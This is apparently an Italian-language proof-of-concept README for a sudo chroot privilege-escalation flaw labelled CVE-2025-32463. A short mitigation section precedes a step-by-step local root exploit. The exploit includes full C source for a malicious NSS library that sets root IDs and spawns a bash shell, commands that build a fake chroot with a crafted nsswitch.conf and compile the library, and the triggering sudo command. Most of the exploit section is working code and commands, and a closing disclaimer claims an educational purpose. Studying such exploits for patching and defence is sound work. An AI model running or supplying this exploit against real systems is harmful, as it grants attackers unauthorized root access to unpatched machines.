CVE-2025-32463 - Escalatione dei Privilegi in Sudo

Una vulnerabilità di escalation dei privilegi esiste in sudo e interessa i sistemi basati su Linux/Unix. Il difetto deriva da una convalida impropria dei percorsi quando sudo viene utilizzato con l'opzione -R (--chroot), consentendo agli attaccanti di escalare a root tramite il caricamento di una libreria NSS maliziosa.

Causa principale

• Quando sudo esegue un comando all'interno di un ambiente chroot (opzione -R), gestisce in modo errato il caricamento delle librerie NSS (Name Service Switch) durante le condizioni di errore.
• Una convalida impropria dei percorsi (ad esempio, la mancata pulizia di LD_LIBRARY_PATH o dei percorsi in /etc/nsswitch.conf) può portare al caricamento di una libreria maliziosa al posto della legittima libreria NSS (ad esempio, libnss_files.so).
• Ciò comporta l'esecuzione arbitraria di codice con privilegi di root.

Impatto

• Gli attaccanti con accesso locale possono sfruttare questa vulnerabilità per ottenere privilegi di root.

Mitigazione

1. Aggiornare sudo all'ultima versione patchata.
2. Limitare i permessi di sudo (limitare l'uso di chroot dove possibile).
3. Controllare le variabili d'ambiente:
   • Limitare LD_LIBRARY_PATH.
   • Mettere in sicurezza /etc/nsswitch.conf.
4. Applicare secure_path in /etc/sudoers per limitare i percorsi di ricerca delle librerie.

Dettagli Tecnici

Panoramica della Vulnerabilità

ID CVE: CVE-2025-32463
Versioni Affette: Sudo 1.9.14 fino a 1.9.17
Punteggio CVSS: 9.8 (Critico)
Impatto: Escalation locale dei privilegi a root

Flusso dell'Attacco

1. L'attaccante crea una libreria NSS maliziosa
2. Prepara un falso ambiente chroot
3. Innesca una condizione di errore in sudo
4. Sudo carica la libreria controllata dall'attaccante
5. Il codice malizioso viene eseguito con privilegi di root

Passaggi dell'Exploit

Passaggio 1: Verificare la vulnerabilità

Se risponde con No such file or directory allora è vulnerabile: sudo -R invalid invalid sudo: invalid: No such file or directory

Passaggio 2: Creare un'Area di Lavoro Temporanea

Per prima cosa, creiamo una directory temporanea in cui lavorare: TMP_DIR=$(mktemp -d -t sudobridge.XXXXXX) cd $TMP_DIR Questo crea una directory temporanea con nome univoco e vi accede. Il comando mktemp garantisce di non interferire con i file di sistema esistenti.

Passaggio 3: Creare la Libreria Maliziosa

Dobbiamo creare un file C (bridge90.c) che verrà compilato in una libreria maliziosa:

#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void bridge(void) {
  setreuid(0,0);  // Set real and effective user ID to root
  setregid(0,0);  // Set real and effective group ID to root
  chdir("/");     // Change to root directory
  execl("/bin/sh", "sh", "-c", "/bin/bash", NULL);  // Execute shell
}

Componenti chiave:

__attribute__((constructor)) garantisce che la funzione venga eseguita quando la libreria viene caricata

setreuid e setregid escalano i privilegi a root

execl avvia una shell bash

Passaggio 4: Preparare l'Ambiente dell'Exploit

mkdir -p bridge/etc echo "passwd: /bridge90" > bridge/etc/nsswitch.conf cp /etc/group bridge/etc/ mkdir libnss_ gcc -shared -fPIC -Wl,-init,bridge -o libnss_/bridge90.so.2 bridge90.c Spiegazione:

Crea un falso ambiente chroot in bridge/etc

Modifica nsswitch.conf per puntare al nostro percorso malizioso

Copia il file /etc/group reale per mantenere la legittimità

Crea una directory per la nostra libreria maliziosa

Compila il codice C in una libreria condivisa denominata secondo le convenzioni NSS (Name Service Switch)

Passaggio 5: Eseguire l'Exploit

sudo -R bridge bridge

Questo comando tenta di utilizzare il nostro ambiente predisposto:

Il primo bridge è la directory chroot contenente la nostra configurazione maliziosa

Il secondo bridge è il comando da eseguire (che caricherà la nostra libreria)

Passaggio 6: Verificare l'Escalation dei Privilegi

Dopo lo sfruttamento riuscito, verifica l'accesso root:

whoami # Dovrebbe restituire "root" id -u # Dovrebbe restituire "0" (l'UID di root)

graph LR
    A[Malicious Library] --> B[Fake Chroot]
    B --> C[Trigger Error]
    C --> D[Library Load]
    D --> E[Root Execution]

Disclaimer

Questo exploit PoC è solo a scopo educativo! Non sono responsabile per qualsiasi uso improprio che tu possa fare di questo exploit!